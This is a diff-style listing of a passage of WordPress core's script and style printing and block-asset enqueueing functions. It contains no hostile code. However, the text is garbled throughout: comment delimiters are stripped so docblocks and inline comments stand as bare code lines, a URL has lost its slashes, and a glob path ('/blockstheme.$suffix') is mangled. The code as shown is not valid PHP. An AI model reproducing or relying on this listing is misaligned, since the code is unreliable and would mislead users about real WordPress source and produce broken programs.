| 2024 | + | * @since 2.8.0 | |
| 2025 | + | * | |
| 2026 | + | * @param bool $print Whether to print the head scripts. Default true. | |
| 2027 | + | ||
| 2028 | + | if ( apply_filters( 'print_head_scripts', true ) ) { | |
| 2029 | + | _print_scripts(); | |
| 2030 | + | } | |
| 2031 | + | ||
| 2032 | + | $wp_scripts->reset(); | |
| 2033 | + | return $wp_scripts->done; | |
| 2034 | + | } | |
| 2035 | + | ||
| 2036 | + | * | |
| 2037 | + | * Prints the scripts that were queued for the footer or too late for the HTML head. | |
| 2038 | + | * | |
| 2039 | + | * @since 2.8.0 | |
| 2040 | + | * | |
| 2041 | + | * @global WP_Scripts $wp_scripts | |
| 2042 | + | * @global bool $concatenate_scripts | |
| 2043 | + | * | |
| 2044 | + | * @return array | |
| 2045 | + | ||
| 2046 | + | function print_footer_scripts() { | |
| 2047 | + | global $wp_scripts, $concatenate_scripts; | |
| 2048 | + | ||
| 2049 | + | if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { | |
| 2050 | + | return array(); No need to run if not instantiated. | |
| 2051 | + | } | |
| 2052 | + | script_concat_settings(); | |
| 2053 | + | $wp_scripts->do_concat = $concatenate_scripts; | |
| 2054 | + | $wp_scripts->do_footer_items(); | |
| 2055 | + | ||
| 2056 | + | * | |
| 2057 | + | * Filters whether to print the footer scripts. | |
| 2058 | + | * | |
| 2059 | + | * @since 2.8.0 | |
| 2060 | + | * | |
| 2061 | + | * @param bool $print Whether to print the footer scripts. Default true. | |
| 2062 | + | ||
| 2063 | + | if ( apply_filters( 'print_footer_scripts', true ) ) { | |
| 2064 | + | _print_scripts(); | |
| 2065 | + | } | |
| 2066 | + | ||
| 2067 | + | $wp_scripts->reset(); | |
| 2068 | + | return $wp_scripts->done; | |
| 2069 | + | } | |
| 2070 | + | ||
| 2071 | + | * | |
| 2072 | + | * Prints scripts (internal use only) | |
| 2073 | + | * | |
| 2074 | + | * @ignore | |
| 2075 | + | * | |
| 2076 | + | * @global WP_Scripts $wp_scripts | |
| 2077 | + | * @global bool $compress_scripts | |
| 2078 | + | ||
| 2079 | + | function _print_scripts() { | |
| 2080 | + | global $wp_scripts, $compress_scripts; | |
| 2081 | + | ||
| 2082 | + | $zip = $compress_scripts ? 1 : 0; | |
| 2083 | + | if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) { | |
| 2084 | + | $zip = 'gzip'; | |
| 2085 | + | } | |
| 2086 | + | ||
| 2087 | + | $concat = trim( $wp_scripts->concat, ', ' ); | |
| 2088 | + | $type_attr = current_theme_supports( 'html5', 'script' ) ? '' : " type='text/javascript'"; | |
| 2089 | + | ||
| 2090 | + | if ( $concat ) { | |
| 2091 | + | if ( ! empty( $wp_scripts->print_code ) ) { | |
| 2092 | + | echo "\n<script{$type_attr}>\n"; | |
| 2093 | + | echo " <![CDATA[ \n"; Not needed in HTML 5. | |
| 2094 | + | echo $wp_scripts->print_code; | |
| 2095 | + | echo " ]]> \n"; | |
| 2096 | + | echo "</script>\n"; | |
| 2097 | + | } | |
| 2098 | + | ||
| 2099 | + | $concat = str_split( $concat, 128 ); | |
| 2100 | + | $concatenated = ''; | |
| 2101 | + | ||
| 2102 | + | foreach ( $concat as $key => $chunk ) { | |
| 2103 | + | $concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}"; | |
| 2104 | + | } | |
| 2105 | + | ||
| 2106 | + | $src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}" . $concatenated . '&ver=' . $wp_scripts->default_version; | |
| 2107 | + | echo "<script{$type_attr} src='" . esc_attr( $src ) . "'></script>\n"; | |
| 2108 | + | } | |
| 2109 | + | ||
| 2110 | + | if ( ! empty( $wp_scripts->print_html ) ) { | |
| 2111 | + | echo $wp_scripts->print_html; | |
| 2112 | + | } | |
| 2113 | + | } | |
| 2114 | + | ||
| 2115 | + | * | |
| 2116 | + | * Prints the script queue in the HTML head on the front end. | |
| 2117 | + | * | |
| 2118 | + | * Postpones the scripts that were queued for the footer. | |
| 2119 | + | * wp_print_footer_scripts() is called in the footer to print these scripts. | |
| 2120 | + | * | |
| 2121 | + | * @since 2.8.0 | |
| 2122 | + | * | |
| 2123 | + | * @global WP_Scripts $wp_scripts | |
| 2124 | + | * | |
| 2125 | + | * @return array | |
| 2126 | + | ||
| 2127 | + | function wp_print_head_scripts() { | |
| 2128 | + | global $wp_scripts; | |
| 2129 | + | ||
| 2130 | + | if ( ! did_action( 'wp_print_scripts' ) ) { | |
| 2131 | + | * This action is documented in wp-includes/functions.wp-scripts.php | |
| 2132 | + | do_action( 'wp_print_scripts' ); | |
| 2133 | + | } | |
| 2134 | + | ||
| 2135 | + | if ( ! ( $wp_scripts instanceof WP_Scripts ) ) { | |
| 2136 | + | return array(); No need to run if nothing is queued. | |
| 2137 | + | } | |
| 2138 | + | ||
| 2139 | + | return print_head_scripts(); | |
| 2140 | + | } | |
| 2141 | + | ||
| 2142 | + | * | |
| 2143 | + | * Private, for use in *_footer_scripts hooks | |
| 2144 | + | * | |
| 2145 | + | * @since 3.3.0 | |
| 2146 | + | ||
| 2147 | + | function _wp_footer_scripts() { | |
| 2148 | + | print_late_styles(); | |
| 2149 | + | print_footer_scripts(); | |
| 2150 | + | } | |
| 2151 | + | ||
| 2152 | + | * | |
| 2153 | + | * Hooks to print the scripts and styles in the footer. | |
| 2154 | + | * | |
| 2155 | + | * @since 2.8.0 | |
| 2156 | + | ||
| 2157 | + | function wp_print_footer_scripts() { | |
| 2158 | + | * | |
| 2159 | + | * Fires when footer scripts are printed. | |
| 2160 | + | * | |
| 2161 | + | * @since 2.8.0 | |
| 2162 | + | ||
| 2163 | + | do_action( 'wp_print_footer_scripts' ); | |
| 2164 | + | } | |
| 2165 | + | ||
| 2166 | + | * | |
| 2167 | + | * Wrapper for do_action( 'wp_enqueue_scripts' ). | |
| 2168 | + | * | |
| 2169 | + | * Allows plugins to queue scripts for the front end using wp_enqueue_script(). | |
| 2170 | + | * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available. | |
| 2171 | + | * | |
| 2172 | + | * @since 2.8.0 | |
| 2173 | + | ||
| 2174 | + | function wp_enqueue_scripts() { | |
| 2175 | + | * | |
| 2176 | + | * Fires when scripts and styles are enqueued. | |
| 2177 | + | * | |
| 2178 | + | * @since 2.8.0 | |
| 2179 | + | ||
| 2180 | + | do_action( 'wp_enqueue_scripts' ); | |
| 2181 | + | } | |
| 2182 | + | ||
| 2183 | + | * | |
| 2184 | + | * Prints the styles queue in the HTML head on admin pages. | |
| 2185 | + | * | |
| 2186 | + | * @since 2.8.0 | |
| 2187 | + | * | |
| 2188 | + | * @global bool $concatenate_scripts | |
| 2189 | + | * | |
| 2190 | + | * @return array | |
| 2191 | + | ||
| 2192 | + | function print_admin_styles() { | |
| 2193 | + | global $concatenate_scripts; | |
| 2194 | + | ||
| 2195 | + | $wp_styles = wp_styles(); | |
| 2196 | + | ||
| 2197 | + | script_concat_settings(); | |
| 2198 | + | $wp_styles->do_concat = $concatenate_scripts; | |
| 2199 | + | $wp_styles->do_items( false ); | |
| 2200 | + | ||
| 2201 | + | * | |
| 2202 | + | * Filters whether to print the admin styles. | |
| 2203 | + | * | |
| 2204 | + | * @since 2.8.0 | |
| 2205 | + | * | |
| 2206 | + | * @param bool $print Whether to print the admin styles. Default true. | |
| 2207 | + | ||
| 2208 | + | if ( apply_filters( 'print_admin_styles', true ) ) { | |
| 2209 | + | _print_styles(); | |
| 2210 | + | } | |
| 2211 | + | ||
| 2212 | + | $wp_styles->reset(); | |
| 2213 | + | return $wp_styles->done; | |
| 2214 | + | } | |
| 2215 | + | ||
| 2216 | + | * | |
| 2217 | + | * Prints the styles that were queued too late for the HTML head. | |
| 2218 | + | * | |
| 2219 | + | * @since 3.3.0 | |
| 2220 | + | * | |
| 2221 | + | * @global WP_Styles $wp_styles | |
| 2222 | + | * @global bool $concatenate_scripts | |
| 2223 | + | * | |
| 2224 | + | * @return array|void | |
| 2225 | + | ||
| 2226 | + | function print_late_styles() { | |
| 2227 | + | global $wp_styles, $concatenate_scripts; | |
| 2228 | + | ||
| 2229 | + | if ( ! ( $wp_styles instanceof WP_Styles ) ) { | |
| 2230 | + | return; | |
| 2231 | + | } | |
| 2232 | + | ||
| 2233 | + | script_concat_settings(); | |
| 2234 | + | $wp_styles->do_concat = $concatenate_scripts; | |
| 2235 | + | $wp_styles->do_footer_items(); | |
| 2236 | + | ||
| 2237 | + | * | |
| 2238 | + | * Filters whether to print the styles queued too late for the HTML head. | |
| 2239 | + | * | |
| 2240 | + | * @since 3.3.0 | |
| 2241 | + | * | |
| 2242 | + | * @param bool $print Whether to print the 'late' styles. Default true. | |
| 2243 | + | ||
| 2244 | + | if ( apply_filters( 'print_late_styles', true ) ) { | |
| 2245 | + | _print_styles(); | |
| 2246 | + | } | |
| 2247 | + | ||
| 2248 | + | $wp_styles->reset(); | |
| 2249 | + | return $wp_styles->done; | |
| 2250 | + | } | |
| 2251 | + | ||
| 2252 | + | * | |
| 2253 | + | * Prints styles (internal use only). | |
| 2254 | + | * | |
| 2255 | + | * @ignore | |
| 2256 | + | * @since 3.3.0 | |
| 2257 | + | * | |
| 2258 | + | * @global bool $compress_css | |
| 2259 | + | ||
| 2260 | + | function _print_styles() { | |
| 2261 | + | global $compress_css; | |
| 2262 | + | ||
| 2263 | + | $wp_styles = wp_styles(); | |
| 2264 | + | ||
| 2265 | + | $zip = $compress_css ? 1 : 0; | |
| 2266 | + | if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) { | |
| 2267 | + | $zip = 'gzip'; | |
| 2268 | + | } | |
| 2269 | + | ||
| 2270 | + | $concat = trim( $wp_styles->concat, ', ' ); | |
| 2271 | + | $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; | |
| 2272 | + | ||
| 2273 | + | if ( $concat ) { | |
| 2274 | + | $dir = $wp_styles->text_direction; | |
| 2275 | + | $ver = $wp_styles->default_version; | |
| 2276 | + | ||
| 2277 | + | $concat = str_split( $concat, 128 ); | |
| 2278 | + | $concatenated = ''; | |
| 2279 | + | ||
| 2280 | + | foreach ( $concat as $key => $chunk ) { | |
| 2281 | + | $concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}"; | |
| 2282 | + | } | |
| 2283 | + | ||
| 2284 | + | $href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}" . $concatenated . '&ver=' . $ver; | |
| 2285 | + | echo "<link rel='stylesheet' href='" . esc_attr( $href ) . "'{$type_attr} media='all' />\n"; | |
| 2286 | + | ||
| 2287 | + | if ( ! empty( $wp_styles->print_code ) ) { | |
| 2288 | + | echo "<style{$type_attr}>\n"; | |
| 2289 | + | echo $wp_styles->print_code; | |
| 2290 | + | echo "\n</style>\n"; | |
| 2291 | + | } | |
| 2292 | + | } | |
| 2293 | + | ||
| 2294 | + | if ( ! empty( $wp_styles->print_html ) ) { | |
| 2295 | + | echo $wp_styles->print_html; | |
| 2296 | + | } | |
| 2297 | + | } | |
| 2298 | + | ||
| 2299 | + | * | |
| 2300 | + | * Determines the concatenation and compression settings for scripts and styles. | |
| 2301 | + | * | |
| 2302 | + | * @since 2.8.0 | |
| 2303 | + | * | |
| 2304 | + | * @global bool $concatenate_scripts | |
| 2305 | + | * @global bool $compress_scripts | |
| 2306 | + | * @global bool $compress_css | |
| 2307 | + | ||
| 2308 | + | function script_concat_settings() { | |
| 2309 | + | global $concatenate_scripts, $compress_scripts, $compress_css; | |
| 2310 | + | ||
| 2311 | + | $compressed_output = ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ); | |
| 2312 | + | ||
| 2313 | + | $can_compress_scripts = ! wp_installing() && get_site_option( 'can_compress_scripts' ); | |
| 2314 | + | ||
| 2315 | + | if ( ! isset( $concatenate_scripts ) ) { | |
| 2316 | + | $concatenate_scripts = defined( 'CONCATENATE_SCRIPTS' ) ? CONCATENATE_SCRIPTS : true; | |
| 2317 | + | if ( ( ! is_admin() && ! did_action( 'login_init' ) ) || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) { | |
| 2318 | + | $concatenate_scripts = false; | |
| 2319 | + | } | |
| 2320 | + | } | |
| 2321 | + | ||
| 2322 | + | if ( ! isset( $compress_scripts ) ) { | |
| 2323 | + | $compress_scripts = defined( 'COMPRESS_SCRIPTS' ) ? COMPRESS_SCRIPTS : true; | |
| 2324 | + | if ( $compress_scripts && ( ! $can_compress_scripts || $compressed_output ) ) { | |
| 2325 | + | $compress_scripts = false; | |
| 2326 | + | } | |
| 2327 | + | } | |
| 2328 | + | ||
| 2329 | + | if ( ! isset( $compress_css ) ) { | |
| 2330 | + | $compress_css = defined( 'COMPRESS_CSS' ) ? COMPRESS_CSS : true; | |
| 2331 | + | if ( $compress_css && ( ! $can_compress_scripts || $compressed_output ) ) { | |
| 2332 | + | $compress_css = false; | |
| 2333 | + | } | |
| 2334 | + | } | |
| 2335 | + | } | |
| 2336 | + | ||
| 2337 | + | * | |
| 2338 | + | * Handles the enqueueing of block scripts and styles that are common to both | |
| 2339 | + | * the editor and the front-end. | |
| 2340 | + | * | |
| 2341 | + | * @since 5.0.0 | |
| 2342 | + | ||
| 2343 | + | function wp_common_block_scripts_and_styles() { | |
| 2344 | + | if ( is_admin() && ! wp_should_load_block_editor_scripts_and_styles() ) { | |
| 2345 | + | return; | |
| 2346 | + | } | |
| 2347 | + | ||
| 2348 | + | wp_enqueue_style( 'wp-block-library' ); | |
| 2349 | + | ||
| 2350 | + | if ( current_theme_supports( 'wp-block-styles' ) ) { | |
| 2351 | + | if ( wp_should_load_separate_core_block_assets() ) { | |
| 2352 | + | $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? 'css' : 'min.css'; | |
| 2353 | + | $files = glob( __DIR__ . "/blockstheme.$suffix" ); | |
| 2354 | + | foreach ( $files as $path ) { | |
| 2355 | + | $block_name = basename( dirname( $path ) ); | |
| 2356 | + | if ( is_rtl() && file_exists( __DIR__ . "/blocks/$block_name/theme-rtl.$suffix" ) ) { | |
| 2357 | + | $path = __DIR__ . "/blocks/$block_name/theme-rtl.$suffix"; | |
| 2358 | + | } | |
| 2359 | + | wp_add_inline_style( "wp-block-{$block_name}", file_get_contents( $path ) ); | |
| 2360 | + | } | |
| 2361 | + | } else { | |
| 2362 | + | wp_enqueue_style( 'wp-block-library-theme' ); | |
| 2363 | + | } | |
| 2364 | + | } | |
| 2365 | + | ||
| 2366 | + | * | |
| 2367 | + | * Fires after enqueuing block assets for both editor and front-end. | |
| 2368 | + | * | |
| 2369 | + | * Call `add_action` on any hook before 'wp_enqueue_scripts'. | |
| 2370 | + | * | |
| 2371 | + | * In the function call you supply, simply use `wp_enqueue_script` and | |
| 2372 | + | * `wp_enqueue_style` to add your functionality to the Gutenberg editor. | |
| 2373 | + | * | |
| 2374 | + | * @since 5.0.0 | |
| 2375 | + | ||
| 2376 | + | do_action( 'enqueue_block_assets' ); | |
| 2377 | + | } | |
| 2378 | + | ||
| 2379 | + | * | |
| 2380 | + | * Applies a filter to the list of style nodes that comes from WP_Theme_JSON::get_style_nodes(). | |
| 2381 | + | * | |
| 2382 | + | * This particular filter removes all of the blocks from the array. | |
| 2383 | + | * | |
| 2384 | + | * We want WP_Theme_JSON to be ignorant of the implementation details of how the CSS is being used. | |
| 2385 | + | * This filter allows us to modify the output of WP_Theme_JSON depending on whether or not we are | |
| 2386 | + | * loading separate assets, without making the class aware of that detail. | |
| 2387 | + | * | |
| 2388 | + | * @since 6.1.0 | |
| 2389 | + | * | |
| 2390 | + | * @param array $nodes The nodes to filter. | |
| 2391 | + | * @return array A filtered array of style nodes. | |
| 2392 | + | ||
| 2393 | + | function wp_filter_out_block_nodes( $nodes ) { | |
| 2394 | + | return array_filter( | |
| 2395 | + | $nodes, | |
| 2396 | + | function( $node ) { | |
| 2397 | + | return ! in_array( 'blocks', $node['path'], true ); | |
| 2398 | + | }, | |
| 2399 | + | ARRAY_FILTER_USE_BOTH | |
| 2400 | + | ); | |
| 2401 | + | } | |
| 2402 | + | ||
| 2403 | + | * | |
| 2404 | + | * Enqueues the global styles defined via theme.json. | |
| 2405 | + | * | |
| 2406 | + | * @since 5.8.0 | |
| 2407 | + | ||
| 2408 | + | function wp_enqueue_global_styles() { | |
| 2409 | + | $separate_assets = wp_should_load_separate_core_block_assets(); | |
| 2410 | + | $is_block_theme = wp_is_block_theme(); | |
| 2411 | + | $is_classic_theme = ! $is_block_theme; | |
| 2412 | + | ||
| 2413 | + | ||
| 2414 | + | * Global styles should be printed in the head when loading all styles combined. | |
| 2415 | + | * The footer should only be used to print global styles for classic themes with separate core assets enabled. | |
| 2416 | + | * | |
| 2417 | + | * See https:core.trac.wordpress.org/ticket/53494. | |
| 2418 | + | ||
| 2419 | + | if ( | |
| 2420 | + | ( $is_block_theme && doing_action( 'wp_footer' ) ) || | |
| 2421 | + | ( $is_classic_theme && doing_action( 'wp_footer' ) && ! $separate_assets ) || | |
| 2422 | + | ( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) && $separate_assets ) | |
| 2423 | + | ) { | |
| 2424 | + | return; | |
| 2425 | + | } | |
| 2426 | + | ||
| 2427 | + | ||
| 2428 | + | * If loading the CSS for each block separately, then load the theme.json CSS conditionally. | |
| 2429 | + | * This removes the CSS from the global-styles stylesheet and adds it to the inline CSS for each block. | |
| 2430 | + | * This filter must be registered before calling wp_get_global_stylesheet(); | |
| 2431 | + | ||
| 2432 | + | add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' ); | |
| 2433 | + | ||
| 2434 | + | $stylesheet = wp_get_global_stylesheet(); | |
| 2435 | + | ||
| 2436 | + | if ( empty( $stylesheet ) ) { | |
| 2437 | + | return; | |
| 2438 | + | } | |
| 2439 | + | ||
| 2440 | + | wp_register_style( 'global-styles', false, array(), true, true ); | |
| 2441 | + | wp_add_inline_style( 'global-styles', $stylesheet ); | |
| 2442 | + | wp_enqueue_style( 'global-styles' ); | |
| 2443 | + | ||
| 2444 | + | Add each block as an inline css. | |
| 2445 | + | wp_add_global_styles_for_blocks(); | |
| 2446 | + | } | |
| 2447 | + | ||
| 2448 | + | * | |
| 2449 | + | * Renders the SVG filters supplied by theme.json. | |
| 2450 | + | * | |
| 2451 | + | * Note that this doesn't render the per-block user-defined | |
| 2452 | + | * filters which are handled by wp_render_duotone_support, | |
| 2453 | + | * but it should be rendered before the filtered content | |
| 2454 | + | * in the body to satisfy Safari's rendering quirks. | |
| 2455 | + | * | |
| 2456 | + | * @since 5.9.1 | |
| 2457 | + | ||
| 2458 | + | function wp_global_styles_render_svg_filters() { | |
| 2459 | + | ||
| 2460 | + | * When calling via the in_admin_header action, we only want to render the | |
| 2461 | + | * SVGs on block editor pages. | |
| 2462 | + | ||
| 2463 | + | if ( | |
| 2464 | + | is_admin() && | |
| 2465 | + | ! get_current_screen()->is_block_editor() | |
| 2466 | + | ) { | |
| 2467 | + | return; | |
| 2468 | + | } | |
| 2469 | + | ||
| 2470 | + | $filters = wp_get_global_styles_svg_filters(); | |
| 2471 | + | if ( ! empty( $filters ) ) { | |
| 2472 | + | echo $filters; | |
| 2473 | + | } | |
| 2474 | + | } | |
| 2475 | + | ||
| 2476 | + | * | |
| 2477 | + | * Checks if the editor scripts and styles for all registered block types | |
| 2478 | + | * should be enqueued on the current screen. | |
| 2479 | + | * | |
| 2480 | + | * @since 5.6.0 | |
| 2481 | + | * | |
| 2482 | + | * @global WP_Screen $current_screen WordPress current screen object. | |
| 2483 | + | * | |
| 2484 | + | * @return bool Whether scripts and styles should be enqueued. | |
| 2485 | + | ||
| 2486 | + | function wp_should_load_block_editor_scripts_and_styles() { | |
| 2487 | + | global $current_screen; | |
| 2488 | + | ||
| 2489 | + | $is_block_editor_screen = ( $current_screen instanceof WP_Screen ) && $current_screen->is_block_editor(); | |
| 2490 | + | ||
| 2491 | + | * | |
| 2492 | + | * Filters the flag that decides whether or not block editor scripts and styles | |
| 2493 | + | * are going to be enqueued on the current screen. | |
| 2494 | + | * | |
| 2495 | + | * @since 5.6.0 | |
| 2496 | + | * | |
| 2497 | + | * @param bool $is_block_editor_screen Current value of the flag. | |
| 2498 | + | ||
| 2499 | + | return apply_filters( 'should_load_block_editor_scripts_and_styles', $is_block_editor_screen ); | |
| 2500 | + | } | |
| 2501 | + | ||
| 2502 | + | * | |
| 2503 | + | * Checks whether separate styles should be loaded for core blocks on-render. | |
| 2504 | + | * | |
| 2505 | + | * When this function returns true, other functions ensure that core blocks | |
| 2506 | + | * only load their assets on-render, and each block loads its own, individual | |
| 2507 | + | * assets. Third-party blocks only load their assets when rendered. | |
| 2508 | + | * | |
| 2509 | + | * When this function returns false, all core block assets are loaded regardless | |
| 2510 | + | * of whether they are rendered in a page or not, because they are all part of | |
| 2511 | + | * the `block-library/style.css` file. Assets for third-party blocks are always | |
| 2512 | + | * enqueued regardless of whether they are rendered or not. | |
| 2513 | + | * | |
| 2514 | + | * This only affects front end and not the block editor screens. | |
| 2515 | + | * | |
| 2516 | + | * @see wp_enqueue_registered_block_scripts_and_styles() | |
| 2517 | + | * @see register_block_style_handle() | |
| 2518 | + | * | |
| 2519 | + | * @since 5.8.0 | |
| 2520 | + | * | |
| 2521 | + | * @return bool Whether separate assets will be loaded. | |
| 2522 | + | ||
| 2523 | + | function wp_should_load_separate_core_block_assets() { | |
| 2524 | + | if ( is_admin() || is_feed() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) { | |
| 2525 | + | return false; | |
| 2526 | + | } | |
| 2527 | + | ||
| 2528 | + | * | |
| 2529 | + | * Filters whether block styles should be loaded separately. | |
| 2530 | + | * | |
| 2531 | + | * Returning false loads all core block assets, regardless of whether they are rendered | |
| 2532 | + | * in a page or not. Returning true loads core block assets only when they are rendered. | |
| 2533 | + | * | |
| 2534 | + | * @since 5.8.0 | |
| 2535 | + | * | |
| 2536 | + | * @param bool $load_separate_assets Whether separate assets will be loaded. | |
| 2537 | + | * Default false (all block assets are loaded, even when not used). | |
| 2538 | + | ||
| 2539 | + | return apply_filters( 'should_load_separate_core_block_assets', false ); | |
| 2540 | + | } | |
| 2541 | + | ||
| 2542 | + | * | |
| 2543 | + | * Enqueues registered block scripts and styles, depending on current rendered | |
| 2544 | + | * context (only enqueuing editor scripts while in context of the editor). | |
| 2545 | + | * | |
| 2546 | + | * @since 5.0.0 | |
| 2547 | + | * | |
| 2548 | + | * @global WP_Screen $current_screen WordPress current screen object. | |
| 2549 | + | ||
| 2550 | + | function wp_enqueue_registered_block_scripts_and_styles() { | |
| 2551 | + | global $current_screen; | |
| 2552 | + | ||
| 2553 | + | if ( wp_should_load_separate_core_block_assets() ) { | |
| 2554 | + | return; | |
| 2555 | + | } | |
| 2556 | + | ||
| 2557 | + | $load_editor_scripts_and_styles = is_admin() && wp_should_load_block_editor_scripts_and_styles(); | |
| 2558 | + | ||
| 2559 | + | $block_registry = WP_Block_Type_Registry::get_instance(); | |
| 2560 | + | foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) { | |
| 2561 | + | Front-end and editor styles. | |
| 2562 | + | foreach ( $block_type->style_handles as $style_handle ) { | |
| 2563 | + | wp_enqueue_style( $style_handle ); | |
| 2564 | + | } | |
| 2565 | + | ||
| 2566 | + | Front-end and editor scripts. | |
| 2567 | + | foreach ( $block_type->script_handles as $script_handle ) { | |
| 2568 | + | wp_enqueue_script( $script_handle ); | |
| 2569 | + | } | |
| 2570 | + | ||
| 2571 | + | if ( $load_editor_scripts_and_styles ) { | |
| 2572 | + | Editor styles. | |
| 2573 | + | foreach ( $block_type->editor_style_handles as $editor_style_handle ) { | |
| 2574 | + | wp_enqueue_style( $editor_style_handle ); | |
| 2575 | + | } | |
| 2576 | + | ||
| 2577 | + | Editor scripts. | |
| 2578 | + | foreach ( $block_type->editor_script_handles as $editor_script_handle ) { | |
| 2579 | + | wp_enqueue_script( $editor_script_handle ); | |
| 2580 | + | } | |
| 2581 | + | } | |
| 2582 | + | } | |
| 2583 | + | } | |
| 2584 | + | ||
| 2585 | + | * | |
| 2586 | + | * Function responsible for enqueuing the styles required for block styles functionality on the editor and on the frontend. | |
| 2587 | + | * | |
| 2588 | + | * @since 5.3.0 | |
| 2589 | + | * | |
| 2590 | + | * @global WP_Styles $wp_styles | |
| 2591 | + | ||
| 2592 | + | function enqueue_block_styles_assets() { | |
| 2593 | + | global $wp_styles; | |
| 2594 | + | ||
| 2595 | + | $block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered(); | |
| 2596 | + | ||
| 2597 | + | foreach ( $block_styles as $block_name => $styles ) { | |
| 2598 | + | foreach ( $styles as $style_properties ) { | |
| 2599 | + | if ( isset( $style_properties['style_handle'] ) ) { | |
| 2600 | + | ||
| 2601 | + | If the site loads separate styles per-block, enqueue the stylesheet on render. | |
| 2602 | + | if ( wp_should_load_separate_core_block_assets() ) { | |
| 2603 | + | add_filter( | |
| 2604 | + | 'render_block', | |
| 2605 | + | function( $html, $block ) use ( $block_name, $style_properties ) { | |
| 2606 | + | if ( $block['blockName'] === $block_name ) { | |
| 2607 | + | wp_enqueue_style( $style_properties['style_handle'] ); | |
| 2608 | + | } | |
| 2609 | + | return $html; | |
| 2610 | + | }, | |
| 2611 | + | 10, | |
| 2612 | + | 2 | |
| 2613 | + | ); | |
| 2614 | + | } else { | |
| 2615 | + | wp_enqueue_style( $style_properties['style_handle'] ); | |
| 2616 | + | } | |
| 2617 | + | } | |
| 2618 | + | if ( isset( $style_properties['inline_style'] ) ) { | |
| 2619 | + | ||
| 2620 | + | Default to "wp-block-library". | |
| 2621 | + | $handle = 'wp-block-library'; | |
| 2622 | + | ||
| 2623 | + | If the site loads separate styles per-block, check if the block has a stylesheet registered. | |
| 2624 | + | if ( wp_should_load_separate_core_block_assets() ) { | |
| 2625 | + | $block_stylesheet_handle = generate_block_asset_handle( $block_name, 'style' ); | |
| 2626 | + | ||
| 2627 | + | if ( isset( $wp_styles->registered[ $block_stylesheet_handle ] ) ) { | |
| 2628 | + | $handle = $block_stylesheet_handle; | |
| 2629 | + | } | |
| 2630 | + | } | |
| 2631 | + | ||
| 2632 | + | Add inline styles to the calculated handle. | |
| 2633 | + | wp_add_inline_style( $handle, $style_properties['inline_style'] ); | |
| 2634 | + | } | |
| 2635 | + | } | |
| 2636 | + | } | |
| 2637 | + | } | |
| 2638 | + | ||
| 2639 | + | * | |
| 2640 | + | * Function responsible for enqueuing the assets required for block styles functionality on the editor. | |
| 2641 | + | * | |
| 2642 | + | * @since 5.3.0 | |
| 2643 | + | ||
| 2644 | + | function enqueue_editor_block_styles_assets() { | |
| 2645 | + | $block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered(); | |
| 2646 | + | ||
| 2647 | + | $register_script_lines = array( '( function() {' ); | |
| 2648 | + | foreach ( $block_styles as $block_name => $styles ) { | |
| 2649 | + | foreach ( $styles as $style_properties ) { | |
| 2650 | + | $block_style = array( | |
| 2651 | + | 'name' => $style_properties['name'], | |
| 2652 | + | 'label' => $style_properties['label'], | |
| 2653 | + | ); | |
| 2654 | + | if ( isset( $style_properties['is_default'] ) ) { | |
| 2655 | + | $block_style['isDefault'] = $style_properties['is_default']; | |
| 2656 | + | } | |
| 2657 | + | $register_script_lines[] = sprintf( | |
| 2658 | + | ' wp.blocks.registerBlockStyle( \'%s\', %s );', | |
| 2659 | + | $block_name, | |
| 2660 | + | wp_json_encode( $block_style ) | |
| 2661 | + | ); | |
| 2662 | + | } | |
| 2663 | + | } | |
| 2664 | + | $register_script_lines[] = '} )();'; | |
| 2665 | + | $inline_script = implode( "\n", $register_script_lines ); | |
| 2666 | + | ||
| 2667 | + | wp_register_script( 'wp-block-styles', false, array( 'wp-blocks' ), true, true ); | |
| 2668 | + | wp_add_inline_script( 'wp-block-styles', $inline_script ); | |
| 2669 | + | wp_enqueue_script( 'wp-block-styles' ); | |
| 2670 | + | } | |
| 2671 | + | ||
| 2672 | + | * | |
| 2673 | + | * Enqueues the assets required for the block directory within the block editor. | |
| 2674 | + | * | |
| 2675 | + | * @since 5.5.0 | |
| 2676 | + | ||
| 2677 | + | function wp_enqueue_editor_block_directory_assets() { | |
| 2678 | + | wp_enqueue_script( 'wp-block-directory' ); | |
| 2679 | + | wp_enqueue_style( 'wp-block-directory' ); | |
| 2680 | + | } | |
| 2681 | + | ||
| 2682 | + | * | |
| 2683 | + | * Enqueues the assets required for the format library within the block editor. | |
| 2684 | + | * | |
| 2685 | + | * @since 5.8.0 | |
| 2686 | + | ||
| 2687 | + | function wp_enqueue_editor_format_library_assets() { | |
| 2688 | + | wp_enqueue_script( 'wp-format-library' ); | |
| 2689 | + | wp_enqueue_style( 'wp-format-library' ); | |
| 2690 | + | } | |
| 2691 | + | ||
| 2692 | + | * | |
| 2693 | + | * Sanitizes an attributes array into an attributes string to be placed inside a `<script>` tag. | |
| 2694 | + | * | |
| 2695 | + | * Automatically injects type attribute if needed. | |
| 2696 | + | * Used by {@see wp_get_script_tag()} and {@see wp_get_inline_script_tag()}. | |
| 2697 | + | * | |
| 2698 | + | * @since 5.7.0 | |
| 2699 | + | * | |
| 2700 | + | * @param array $attributes Key-value pairs representing `<script>` tag attributes. | |
| 2701 | + | * @return string String made of sanitized `<script>` tag attributes. | |
| 2702 | + | ||
| 2703 | + | function wp_sanitize_script_attributes( $attributes ) { | |
| 2704 | + | $html5_script_support = ! is_admin() && ! current_theme_supports( 'html5', 'script' ); | |
| 2705 | + | $attributes_string = ''; | |
| 2706 | + | ||
| 2707 | + | If HTML5 script tag is supported, only the attribute name is added | |
